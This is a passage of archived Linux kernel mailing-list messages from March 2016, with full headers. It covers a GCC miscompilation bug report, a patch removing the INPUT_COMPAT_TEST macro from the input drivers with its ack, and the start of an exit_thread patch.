	linux-parisc List <linux-parisc@vger.kernel.org>,
	Kent Overstreet <kent.overstreet@gmail.com>
To: Rolf Eike Beer <eike@sf-mail.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Mar 20 19:13:28 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1ahhqw-0002R5-SX
	for glpp-linux-parisc@plane.gmane.org; Sun, 20 Mar 2016 19:13:27 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751373AbcCTSN0 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 20 Mar 2016 14:13:26 -0400
Original-Received: from mout.gmx.net ([212.227.17.22]:58051 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1750729AbcCTSNZ (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sun, 20 Mar 2016 14:13:25 -0400
Original-Received: from [192.168.20.60] ([92.203.21.186]) by mail.gmx.com (mrgmx103)
 with ESMTPSA (Nemesis) id 0LfTC1-1a21Qv28yX-00p3Tf; Sun, 20 Mar 2016 19:12:48
 +0100
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101
 Thunderbird/38.1.0
In-Reply-To: <4070811.QJ02MzEnrO@caliban.sf-tec.de>
X-Provags-ID: V03:K0:sBohQUTk6OVfxCjZfsyx9e4p1qMTpBTMvp3nOs83mkzs63enHuH
 HtKV9WprTJMHPHD+knlrIqKgi/iSl+ksrxuvWyTrM/CpnbdrXSEueRHiBKGDRU0mXexugDG
 4uCdixfKjvEcbHFyY/q/urKqH+gVr1bYePJIhoIAFjKPZCzDDt+Xf9lQz0RGv3rQESj1Yta
 xJ7eV78NmVgjSaYj72xfA==
X-UI-Out-Filterresults: notjunk:1;V01:K0:qJatzwcNa7M=:3ENcKJ0b3bYJFFlie8njN8
 2j8AWcE17nfq00YUpA7+bp/GnwYwNPl8yUFXp/QMocIR34hVoTU2LnEiL2s0bE74XMI+b0l1V
 7r0SmwWj7cecoStFFWrk0FphfifBSkSh/ZTq2p6E3JTV0EtuIpR8SxoY17qQpum/6HWcKN/D/
 qUpsSHmRMw7jfj9COekqUN0qLt4gVuM/cCP6Pb1nDm1027QXA2FKKI6qfnJxXM6ZbyxDrCV8c
 r5TVsGKq8WKDvUGUZXRrEbU8RoTDjVZHHt0my8N0HuUaemZPa7xONfslVMEn6Dn43ktqSrQQv
 BdsOI75DTfAefaHVqZh94EusurXyx0XVgY8ncRLCfrvcbRsrTJ53R0gW9ycdQT5zvzGgzF9hw
 lQzLEz9PzOqrp6wDFTthJ0utG3299iCpJNch/2cbPTlupqu6ive3JQeLgapdD5c4Owcc++ykE
 ky6rQm4qsHg0Lii/FiLe41mLBc/9h2EQLZOiFKlPvLIMrwKirX7SVnZokM1xWz/4tqljnuDaT
 G0D7GaafRsSLsTVFkP3bbdSxwnBdYNZwxC5y1Yf3PElYwk1SoZSJ6ZISSm0bZfu5cAkyKv73l
 l/ngzISB77x8j7nHsMSpnHZalibkPKuwDLUCPTD8s4qe0y9cnj+GgKYmskRtBD65rsk/Skf30
 0SUo0tLISjheMZVY9t7xx00Ixj6EfP+QT6n5om4R/A/DXjC0oznGPdaeGY5IB3pfeMhF6IhcZ
 mbElMSW8Xw1h5NE5SwK9Bzc5WVF/JmAU8sPBOITFrd9uHT1BGWW5Zw+upYJMLFBcdS6MFu3/ 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26536 gmane.linux.scsi:112066
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26536>

Hi Eike,

On 10.03.2016 08:04, Rolf Eike Beer wrote:
>> Right.
>> I just succeeded in reproducing the bug with moving blk_bio_segment_split()
>> into an own file (and with "extern" instead of "static" in blk-merge.c).
>> When compiled with -O2 it still crashes. So, next step is to analyze what
>> gcc does wrong when compiling this function. It should get easier now to
>> find the reason, since we have a smaller reproducer now.
> 
> I have a ton of compilers here on my C8000 and a few even on my C3600 which 
> drive nightly CMake dashboards. Could you send the testcase so I can pass it 
> through the list and see what breaks?

Thanks for the offer!
Sadly it's not a stand-alone testcase, just the original source code extracted
which can be manually compiled and then the generated assembly can be compared
to what it should be.
That said, I think this specific testcase is not really usable in your test environment.

By the way, the bug was just fixed. Details are in bugzilla:
https://gcc.gnu.org/bugzilla/show_bug.cgi?id=70188

Thanks,
Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andrew Morton <akpm@linux-foundation.org>
Newsgroups: gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.ports.parisc,gmane.linux.ports.mips.general
Subject: Re: [PATCH v2 14/16] input: Redefine INPUT_COMPAT_TEST as
 in_compat_syscall()
Date: Tue, 22 Mar 2016 13:51:52 -0700
Lines: 163
Approved: news@gmane.org
Message-ID: <20160322135152.78d21ee6d56b702f06c5e01f@linux-foundation.org>
References: <cover.1453759363.git.luto@kernel.org>
	<64480084bc652d5fa91bf5cd4be979e2f1e4cf11.1453759363.git.luto@kernel.org>
	<CAKdAkRQm6ADz5aCYAFxXcoGZ2zNFwTUXjMzZdNj-D2-YrYQtrg@mail.gmail.com>
	<CALCETrUUNM1Qoqna1e7qmEqNUwo99PJe9fSuXG4fzPdSBLfPuA@mail.gmail.com>
	<20160127210610.GB28687@dtor-ws>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1458679945 28517 80.91.229.3 (22 Mar 2016 20:52:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 22 Mar 2016 20:52:25 +0000 (UTC)
Cc: Andy Lutomirski <luto@amacapital.net>,
	Andy Lutomirski <luto@kernel.org>,
	Al Viro <viro@zeniv.linux.org.uk>,
	Linus Torvalds <torvalds@linux-foundation.org>,
	X86 ML <x86@kernel.org>,
	linux-arch <linux-arch@vger.kernel.org>,
	David Miller <davem@davemloft.net>,
	"linux-s390@vger.kernel.org" <linux-s390@vger.kernel.org>,
	Chris Metcalf <cmetcalf@ezchip.com>,
	linux-parisc@vger.kernel.org,
	"linux-mips@linux-mips.org" <linux-mips@linux-mips.org>,
	sparclinux@vger.kernel.org
To: Dmitry Torokhov <dmitry.torokhov@gmail.com>
Original-X-From: sparclinux-owner@vger.kernel.org Tue Mar 22 21:52:16 2016
Return-path: <sparclinux-owner@vger.kernel.org>
Envelope-to: lnx-sparclinux@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <sparclinux-owner@vger.kernel.org>)
	id 1aiTHj-0006r4-Ge
	for lnx-sparclinux@plane.gmane.org; Tue, 22 Mar 2016 21:52:15 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751698AbcCVUwB (ORCPT <rfc822;lnx-sparclinux@m.gmane.org>);
	Tue, 22 Mar 2016 16:52:01 -0400
Original-Received: from mail.linuxfoundation.org ([140.211.169.12]:59283 "EHLO
	mail.linuxfoundation.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751449AbcCVUvy (ORCPT
	<rfc822;sparclinux@vger.kernel.org>); Tue, 22 Mar 2016 16:51:54 -0400
Original-Received: from akpm3.mtv.corp.google.com (unknown [104.132.1.65])
	by mail.linuxfoundation.org (Postfix) with ESMTPSA id 817E074;
	Tue, 22 Mar 2016 20:51:53 +0000 (UTC)
In-Reply-To: <20160127210610.GB28687@dtor-ws>
X-Mailer: Sylpheed 3.4.1 (GTK+ 2.24.23; x86_64-pc-linux-gnu)
Original-Sender: sparclinux-owner@vger.kernel.org
Precedence: bulk
List-ID: <sparclinux.vger.kernel.org>
X-Mailing-List: sparclinux@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.sparc:22605 gmane.linux.kernel.cross-arch:31346 gmane.linux.ports.parisc:26537 gmane.linux.ports.mips.general:53840
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.sparc/22605>

On Wed, 27 Jan 2016 13:06:10 -0800 Dmitry Torokhov <dmitry.torokhov@gmail.com> wrote:

> On Wed, Jan 27, 2016 at 12:29:14PM -0800, Andy Lutomirski wrote:
> > On Wed, Jan 27, 2016 at 11:17 AM, Dmitry Torokhov
> > <dmitry.torokhov@gmail.com> wrote:
> > > Hi Andy,
> > >
> > > On Mon, Jan 25, 2016 at 2:24 PM, Andy Lutomirski <luto@kernel.org> wrote:
> > >> The input compat code should work like all other compat code: for
> > >> 32-bit syscalls, use the 32-bit ABI and for 64-bit syscalls, use the
> > >> 64-bit ABI.  We have a helper for that (in_compat_syscall()): just
> > >> use it.
> > >>
> > >> Signed-off-by: Andy Lutomirski <luto@kernel.org>
> > >> ---
> > >>  drivers/input/input-compat.h | 12 +-----------
> > >>  1 file changed, 1 insertion(+), 11 deletions(-)
> > >>
> > >> diff --git a/drivers/input/input-compat.h b/drivers/input/input-compat.h
> > >> index 148f66fe3205..0f25878d5fa2 100644
> > >> --- a/drivers/input/input-compat.h
> > >> +++ b/drivers/input/input-compat.h
> > >> @@ -17,17 +17,7 @@
> > >>
> > >>  #ifdef CONFIG_COMPAT
> > >>
> > >> -/* Note to the author of this code: did it ever occur to
> > >> -   you why the ifdefs are needed? Think about it again. -AK */
> > >> -#if defined(CONFIG_X86_64) || defined(CONFIG_TILE)
> > >> -#  define INPUT_COMPAT_TEST is_compat_task()
> > >> -#elif defined(CONFIG_S390)
> > >> -#  define INPUT_COMPAT_TEST test_thread_flag(TIF_31BIT)
> > >> -#elif defined(CONFIG_MIPS)
> > >> -#  define INPUT_COMPAT_TEST test_thread_flag(TIF_32BIT_ADDR)
> > >> -#else
> > >> -#  define INPUT_COMPAT_TEST test_thread_flag(TIF_32BIT)
> > >> -#endif
> > >> +#define INPUT_COMPAT_TEST in_compat_syscall()
> > >>
> > >
> > >
> > > If we now have function that works on all arches I'd prefer if we used
> > > it directly instead of continuing using INPUT_COMPAT_TEST.
> > 
> > I'll write a followup patch for that if you don't beat me to it.
> 
> I promise I wont ;)

Well someone needs beating!

I'm prepping this patch for Linus now.  I shall queue up the below for
later.

From: Andrew Morton <akpm@linux-foundation.org>
Subject: drivers/input: eliminate INPUT_COMPAT_TEST macro

INPUT_COMPAT_TEST became much simpler after "input: redefine
INPUT_COMPAT_TEST as in_compat_syscall()" so we can cleanly eliminate it
altogether.

Cc: Dmitry Torokhov <dmitry.torokhov@gmail.com>
Cc: Andy Lutomirski <luto@amacapital.net>
Cc: Andy Lutomirski <luto@kernel.org>
Signed-off-by: Andrew Morton <akpm@linux-foundation.org>
---

 drivers/input/input-compat.c |    6 +++---
 drivers/input/input-compat.h |    4 +---
 drivers/input/input.c        |    2 +-
 drivers/input/misc/uinput.c  |    4 ++--
 4 files changed, 7 insertions(+), 9 deletions(-)

diff -puN drivers/input/input-compat.h~a drivers/input/input-compat.h
--- a/drivers/input/input-compat.h~a
+++ a/drivers/input/input-compat.h
@@ -17,8 +17,6 @@
 
 #ifdef CONFIG_COMPAT
 
-#define INPUT_COMPAT_TEST in_compat_syscall()
-
 struct input_event_compat {
 	struct compat_timeval time;
 	__u16 type;
@@ -57,7 +55,7 @@ struct ff_effect_compat {
 
 static inline size_t input_event_size(void)
 {
-	return (INPUT_COMPAT_TEST && !COMPAT_USE_64BIT_TIME) ?
+	return (in_compat_syscall() && !COMPAT_USE_64BIT_TIME) ?
 		sizeof(struct input_event_compat) : sizeof(struct input_event);
 }
 
diff -puN drivers/input/misc/uinput.c~a drivers/input/misc/uinput.c
--- a/drivers/input/misc/uinput.c~a
+++ a/drivers/input/misc/uinput.c
@@ -664,7 +664,7 @@ struct uinput_ff_upload_compat {
 static int uinput_ff_upload_to_user(char __user *buffer,
 				    const struct uinput_ff_upload *ff_up)
 {
-	if (INPUT_COMPAT_TEST) {
+	if (in_compat_syscall()) {
 		struct uinput_ff_upload_compat ff_up_compat;
 
 		ff_up_compat.request_id = ff_up->request_id;
@@ -695,7 +695,7 @@ static int uinput_ff_upload_to_user(char
 static int uinput_ff_upload_from_user(const char __user *buffer,
 				      struct uinput_ff_upload *ff_up)
 {
-	if (INPUT_COMPAT_TEST) {
+	if (in_compat_syscall()) {
 		struct uinput_ff_upload_compat ff_up_compat;
 
 		if (copy_from_user(&ff_up_compat, buffer,
diff -puN drivers/input/input-compat.c~a drivers/input/input-compat.c
--- a/drivers/input/input-compat.c~a
+++ a/drivers/input/input-compat.c
@@ -17,7 +17,7 @@
 int input_event_from_user(const char __user *buffer,
 			  struct input_event *event)
 {
-	if (INPUT_COMPAT_TEST && !COMPAT_USE_64BIT_TIME) {
+	if (in_compat_syscall() && !COMPAT_USE_64BIT_TIME) {
 		struct input_event_compat compat_event;
 
 		if (copy_from_user(&compat_event, buffer,
@@ -41,7 +41,7 @@ int input_event_from_user(const char __u
 int input_event_to_user(char __user *buffer,
 			const struct input_event *event)
 {
-	if (INPUT_COMPAT_TEST && !COMPAT_USE_64BIT_TIME) {
+	if (in_compat_syscall() && !COMPAT_USE_64BIT_TIME) {
 		struct input_event_compat compat_event;
 
 		compat_event.time.tv_sec = event->time.tv_sec;
@@ -65,7 +65,7 @@ int input_event_to_user(char __user *buf
 int input_ff_effect_from_user(const char __user *buffer, size_t size,
 			      struct ff_effect *effect)
 {
-	if (INPUT_COMPAT_TEST) {
+	if (in_compat_syscall()) {
 		struct ff_effect_compat *compat_effect;
 
 		if (size != sizeof(struct ff_effect_compat))
diff -puN drivers/input/input.c~a drivers/input/input.c
--- a/drivers/input/input.c~a
+++ a/drivers/input/input.c
@@ -1015,7 +1015,7 @@ static int input_bits_to_string(char *bu
 {
 	int len = 0;
 
-	if (INPUT_COMPAT_TEST) {
+	if (in_compat_syscall()) {
 		u32 dword = bits >> 32;
 		if (dword || !skip_empty)
 			len += snprintf(buf, buf_size, "%x ", dword);
_

--
To unsubscribe from this list: send the line "unsubscribe sparclinux" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Dmitry Torokhov <dmitry.torokhov@gmail.com>
Newsgroups: gmane.linux.kernel.cross-arch,gmane.linux.ports.parisc,gmane.linux.ports.mips.general,gmane.linux.ports.sparc
Subject: Re: [PATCH v2 14/16] input: Redefine INPUT_COMPAT_TEST as
 in_compat_syscall()
Date: Wed, 23 Mar 2016 11:42:48 -0700
Lines: 168
Approved: news@gmane.org
Message-ID: <20160323184248.GA25479@dtor-ws>
References: <cover.1453759363.git.luto@kernel.org>
 <64480084bc652d5fa91bf5cd4be979e2f1e4cf11.1453759363.git.luto@kernel.org>
 <CAKdAkRQm6ADz5aCYAFxXcoGZ2zNFwTUXjMzZdNj-D2-YrYQtrg@mail.gmail.com>
 <CALCETrUUNM1Qoqna1e7qmEqNUwo99PJe9fSuXG4fzPdSBLfPuA@mail.gmail.com>
 <20160127210610.GB28687@dtor-ws>
 <20160322135152.78d21ee6d56b702f06c5e01f@linux-foundation.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1458758578 15307 80.91.229.3 (23 Mar 2016 18:42:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 23 Mar 2016 18:42:58 +0000 (UTC)
Cc: Andy Lutomirski <luto@amacapital.net>,
	Andy Lutomirski <luto@kernel.org>,
	Al Viro <viro@zeniv.linux.org.uk>,
	Linus Torvalds <torvalds@linux-foundation.org>,
	X86 ML <x86@kernel.org>,
	linux-arch <linux-arch@vger.kernel.org>,
	David Miller <davem@davemloft.net>,
	"linux-s390@vger.kernel.org" <linux-s390@vger.kernel.org>,
	Chris Metcalf <cmetcalf@ezchip.com>,
	linux-parisc@vger.kernel.org,
	"linux-mips@linux-mips.org" <linux-mips@linux-mips.org>,
	sparclinux@vger.kernel.org
To: Andrew Morton <akpm@linux-foundation.org>
Original-X-From: linux-arch-owner@vger.kernel.org Wed Mar 23 19:42:57 2016
Return-path: <linux-arch-owner@vger.kernel.org>
Envelope-to: glka-linux-arch@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-arch-owner@vger.kernel.org>)
	id 1aink8-0006LP-2j
	for glka-linux-arch@plane.gmane.org; Wed, 23 Mar 2016 19:42:56 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752878AbcCWSmy (ORCPT <rfc822;glka-linux-arch@m.gmane.org>);
	Wed, 23 Mar 2016 14:42:54 -0400
Original-Received: from mail-pf0-f175.google.com ([209.85.192.175]:33862 "EHLO
	mail-pf0-f175.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751088AbcCWSmx (ORCPT
	<rfc822;linux-arch@vger.kernel.org>); Wed, 23 Mar 2016 14:42:53 -0400
Original-Received: by mail-pf0-f175.google.com with SMTP id x3so36965325pfb.1;
        Wed, 23 Mar 2016 11:42:52 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=date:from:to:cc:subject:message-id:references:mime-version
         :content-disposition:in-reply-to:user-agent;
        bh=+fOwFImrLofFSt5FAybLxcJri/xQZV38rtRjom4GpvY=;
        b=qKZkeKa77IRtTAzakn3SsB1C9r+5Nj1fzESMJAtHkV/TvUubLDs9rTydV6OdZ+0Aqm
         98RHGaCqL7UKYmCyU5SQiguCcL4ltlekRx3sPFM8Z5d8VOrDVoe2szHV3PeUrfTHmyGf
         1snXr+dI0YQY+MNRlypAHT3Yq6HaRpJS7QzY4G6SHP+wIfEXxsSI/pcUGgxeDOvEClL+
         JZiV7Lg3wtm/Mj5eIMJOXPObek1jp67FsWtNkt1b75wpbeqJnuEShzL6OPO88rDbIMv3
         WdXTUZmXr/SoIL+zMlqva8AUIlByuASMyyujJQU5cDjO9zbZISh6HJvuD1wbG4qk6/Mn
         E9DQ==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-gm-message-state:date:from:to:cc:subject:message-id:references
         :mime-version:content-disposition:in-reply-to:user-agent;
        bh=+fOwFImrLofFSt5FAybLxcJri/xQZV38rtRjom4GpvY=;
        b=WnxP8MOy9PvEH/t5+7hI9mPYSeUuVfo2zOat8wM62alr5sN77UI8M9gzTMxGl0YhyK
         XCnoLYm7mmTtSGZ0OV/X/J9Q18PnB8oHVh3nXXp0earoN3mRuJec7pNfw5kDqwtTXQKI
         0huk+KuMMj9Cp/qo19c3T4Bfi8FHu12R/iCYt1KaXuFN8C0u0Rp9C/9/EHJnDuLcRAzL
         Gs5sT80h9Q6g2DODsKjsT2WB2Nm1rc7v3kwh3Ocyjg+4gL94mt2Sb2QdQI2UdvDGSrT4
         TGiB52JXqnYJHCwwZwRj2wEOAdea7lAUv5JkA20K9KXLeq9Ebl2bXqW1JoMBOx/LVIV0
         Mjag==
X-Gm-Message-State: AD7BkJLTqdcyl5ycwHTbc9OcGXRnUHo8uqYvHlU4zH3PFgez6P2YHqmXAXvDPmuWMqpIgw==
X-Received: by 10.98.66.75 with SMTP id p72mr6470884pfa.50.1458758571802;
        Wed, 23 Mar 2016 11:42:51 -0700 (PDT)
Original-Received: from dtor-ws ([2620:0:1000:1301:b076:2d7c:a575:26b9])
        by smtp.gmail.com with ESMTPSA id qh8sm5792691pac.40.2016.03.23.11.42.50
        (version=TLS1_2 cipher=AES128-SHA bits=128/128);
        Wed, 23 Mar 2016 11:42:51 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <20160322135152.78d21ee6d56b702f06c5e01f@linux-foundation.org>
User-Agent: Mutt/1.5.21 (2010-09-15)
Original-Sender: linux-arch-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-arch.vger.kernel.org>
X-Mailing-List: linux-arch@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.cross-arch:31352 gmane.linux.ports.parisc:26538 gmane.linux.ports.mips.general:53847 gmane.linux.ports.sparc:22608
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.cross-arch/31352>

On Tue, Mar 22, 2016 at 01:51:52PM -0700, Andrew Morton wrote:
> On Wed, 27 Jan 2016 13:06:10 -0800 Dmitry Torokhov <dmitry.torokhov@gmail.com> wrote:
> 
> > On Wed, Jan 27, 2016 at 12:29:14PM -0800, Andy Lutomirski wrote:
> > > On Wed, Jan 27, 2016 at 11:17 AM, Dmitry Torokhov
> > > <dmitry.torokhov@gmail.com> wrote:
> > > > Hi Andy,
> > > >
> > > > On Mon, Jan 25, 2016 at 2:24 PM, Andy Lutomirski <luto@kernel.org> wrote:
> > > >> The input compat code should work like all other compat code: for
> > > >> 32-bit syscalls, use the 32-bit ABI and for 64-bit syscalls, use the
> > > >> 64-bit ABI.  We have a helper for that (in_compat_syscall()): just
> > > >> use it.
> > > >>
> > > >> Signed-off-by: Andy Lutomirski <luto@kernel.org>
> > > >> ---
> > > >>  drivers/input/input-compat.h | 12 +-----------
> > > >>  1 file changed, 1 insertion(+), 11 deletions(-)
> > > >>
> > > >> diff --git a/drivers/input/input-compat.h b/drivers/input/input-compat.h
> > > >> index 148f66fe3205..0f25878d5fa2 100644
> > > >> --- a/drivers/input/input-compat.h
> > > >> +++ b/drivers/input/input-compat.h
> > > >> @@ -17,17 +17,7 @@
> > > >>
> > > >>  #ifdef CONFIG_COMPAT
> > > >>
> > > >> -/* Note to the author of this code: did it ever occur to
> > > >> -   you why the ifdefs are needed? Think about it again. -AK */
> > > >> -#if defined(CONFIG_X86_64) || defined(CONFIG_TILE)
> > > >> -#  define INPUT_COMPAT_TEST is_compat_task()
> > > >> -#elif defined(CONFIG_S390)
> > > >> -#  define INPUT_COMPAT_TEST test_thread_flag(TIF_31BIT)
> > > >> -#elif defined(CONFIG_MIPS)
> > > >> -#  define INPUT_COMPAT_TEST test_thread_flag(TIF_32BIT_ADDR)
> > > >> -#else
> > > >> -#  define INPUT_COMPAT_TEST test_thread_flag(TIF_32BIT)
> > > >> -#endif
> > > >> +#define INPUT_COMPAT_TEST in_compat_syscall()
> > > >>
> > > >
> > > >
> > > > If we now have function that works on all arches I'd prefer if we used
> > > > it directly instead of continuing using INPUT_COMPAT_TEST.
> > > 
> > > I'll write a followup patch for that if you don't beat me to it.
> > 
> > I promise I wont ;)
> 
> Well someone needs beating!
> 
> I'm prepping this patch for Linus now.  I shall queue up the below for
> later.

Thank you Andrew.

> 
> From: Andrew Morton <akpm@linux-foundation.org>
> Subject: drivers/input: eliminate INPUT_COMPAT_TEST macro
> 
> INPUT_COMPAT_TEST became much simpler after "input: redefine
> INPUT_COMPAT_TEST as in_compat_syscall()" so we can cleanly eliminate it
> altogether.
> 
> Cc: Dmitry Torokhov <dmitry.torokhov@gmail.com>
> Cc: Andy Lutomirski <luto@amacapital.net>
> Cc: Andy Lutomirski <luto@kernel.org>
> Signed-off-by: Andrew Morton <akpm@linux-foundation.org>

Acked-by: Dmitry Torokhov <dmitry.torokhov@gmail.com>

> ---
> 
>  drivers/input/input-compat.c |    6 +++---
>  drivers/input/input-compat.h |    4 +---
>  drivers/input/input.c        |    2 +-
>  drivers/input/misc/uinput.c  |    4 ++--
>  4 files changed, 7 insertions(+), 9 deletions(-)
> 
> diff -puN drivers/input/input-compat.h~a drivers/input/input-compat.h
> --- a/drivers/input/input-compat.h~a
> +++ a/drivers/input/input-compat.h
> @@ -17,8 +17,6 @@
>  
>  #ifdef CONFIG_COMPAT
>  
> -#define INPUT_COMPAT_TEST in_compat_syscall()
> -
>  struct input_event_compat {
>  	struct compat_timeval time;
>  	__u16 type;
> @@ -57,7 +55,7 @@ struct ff_effect_compat {
>  
>  static inline size_t input_event_size(void)
>  {
> -	return (INPUT_COMPAT_TEST && !COMPAT_USE_64BIT_TIME) ?
> +	return (in_compat_syscall() && !COMPAT_USE_64BIT_TIME) ?
>  		sizeof(struct input_event_compat) : sizeof(struct input_event);
>  }
>  
> diff -puN drivers/input/misc/uinput.c~a drivers/input/misc/uinput.c
> --- a/drivers/input/misc/uinput.c~a
> +++ a/drivers/input/misc/uinput.c
> @@ -664,7 +664,7 @@ struct uinput_ff_upload_compat {
>  static int uinput_ff_upload_to_user(char __user *buffer,
>  				    const struct uinput_ff_upload *ff_up)
>  {
> -	if (INPUT_COMPAT_TEST) {
> +	if (in_compat_syscall()) {
>  		struct uinput_ff_upload_compat ff_up_compat;
>  
>  		ff_up_compat.request_id = ff_up->request_id;
> @@ -695,7 +695,7 @@ static int uinput_ff_upload_to_user(char
>  static int uinput_ff_upload_from_user(const char __user *buffer,
>  				      struct uinput_ff_upload *ff_up)
>  {
> -	if (INPUT_COMPAT_TEST) {
> +	if (in_compat_syscall()) {
>  		struct uinput_ff_upload_compat ff_up_compat;
>  
>  		if (copy_from_user(&ff_up_compat, buffer,
> diff -puN drivers/input/input-compat.c~a drivers/input/input-compat.c
> --- a/drivers/input/input-compat.c~a
> +++ a/drivers/input/input-compat.c
> @@ -17,7 +17,7 @@
>  int input_event_from_user(const char __user *buffer,
>  			  struct input_event *event)
>  {
> -	if (INPUT_COMPAT_TEST && !COMPAT_USE_64BIT_TIME) {
> +	if (in_compat_syscall() && !COMPAT_USE_64BIT_TIME) {
>  		struct input_event_compat compat_event;
>  
>  		if (copy_from_user(&compat_event, buffer,
> @@ -41,7 +41,7 @@ int input_event_from_user(const char __u
>  int input_event_to_user(char __user *buffer,
>  			const struct input_event *event)
>  {
> -	if (INPUT_COMPAT_TEST && !COMPAT_USE_64BIT_TIME) {
> +	if (in_compat_syscall() && !COMPAT_USE_64BIT_TIME) {
>  		struct input_event_compat compat_event;
>  
>  		compat_event.time.tv_sec = event->time.tv_sec;
> @@ -65,7 +65,7 @@ int input_event_to_user(char __user *buf
>  int input_ff_effect_from_user(const char __user *buffer, size_t size,
>  			      struct ff_effect *effect)
>  {
> -	if (INPUT_COMPAT_TEST) {
> +	if (in_compat_syscall()) {
>  		struct ff_effect_compat *compat_effect;
>  
>  		if (size != sizeof(struct ff_effect_compat))
> diff -puN drivers/input/input.c~a drivers/input/input.c
> --- a/drivers/input/input.c~a
> +++ a/drivers/input/input.c
> @@ -1015,7 +1015,7 @@ static int input_bits_to_string(char *bu
>  {
>  	int len = 0;
>  
> -	if (INPUT_COMPAT_TEST) {
> +	if (in_compat_syscall()) {
>  		u32 dword = bits >> 32;
>  		if (dword || !skip_empty)
>  			len += snprintf(buf, buf_size, "%x ", dword);
> _
> 

-- 
Dmitry

From - Thu Nov 08 21:38:36 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jiri Slaby <jslaby@suse.cz>
Newsgroups: gmane.linux.ports.mips.general,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.uml.devel,gmane.linux.uml.user
Subject: [PATCH 3/4] exit_thread: accept a task parameter to be exited
Date: Thu, 24 Mar 2016 13:58:13 +0100
Lines: 717
Approved: news@gmane.org
Message-ID: <1458824294-29733-1-git-send-email-jslaby@suse.cz>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1458824354 30923 80.91.229.3 (24 Mar 2016 12:59:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 24 Mar 2016 12:59:14 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org, Jiri Slaby <jslaby@suse.cz>,
        Richard Henderson <rth@twiddle.net>,
        Ivan Kokshaysky <ink@jurassic.park.msu.ru>,
        Matt Turner <mattst88@gmail.com>,
        Vineet Gupta <vgupta@synopsys.com>,
        Russell King <linux@arm.linux.org.uk>,
        Catalin Marinas <catalin.marinas@arm.com>,
        Will Deacon <will.deacon@arm.com>,
        Haavard Skinnemoen <hskinnemoen@gmail.com>,
        Hans-Christian Egtvedt <egtvedt@samfundet.no>,
        Steven Miao <realmz6@gmail.com>,
        Mark Salter <msalter@redhat.com>,
        Aurelien Jacquiot <a-jacquiot@ti.com>,
        Mikael Starvik <starvik@axis.com>,
        Jesper Nilsson <jesper.nilsson@axis.com>,
        Yoshinori Sato <ysato@users.sourceforge.jp>,
        Richard Kuo <rkuo@codeaurora.org>,
        Tony Luck <tony.luck@intel.com>,
        Fenghua Yu <fenghua.yu@intel.com>,
To: akpm@linux-foundation.org
Original-X-From: linux-mips-bounce@linux-mips.org Thu Mar 24 13:58:56 2016
Return-path: <linux-mips-bounce@linux-mips.org>
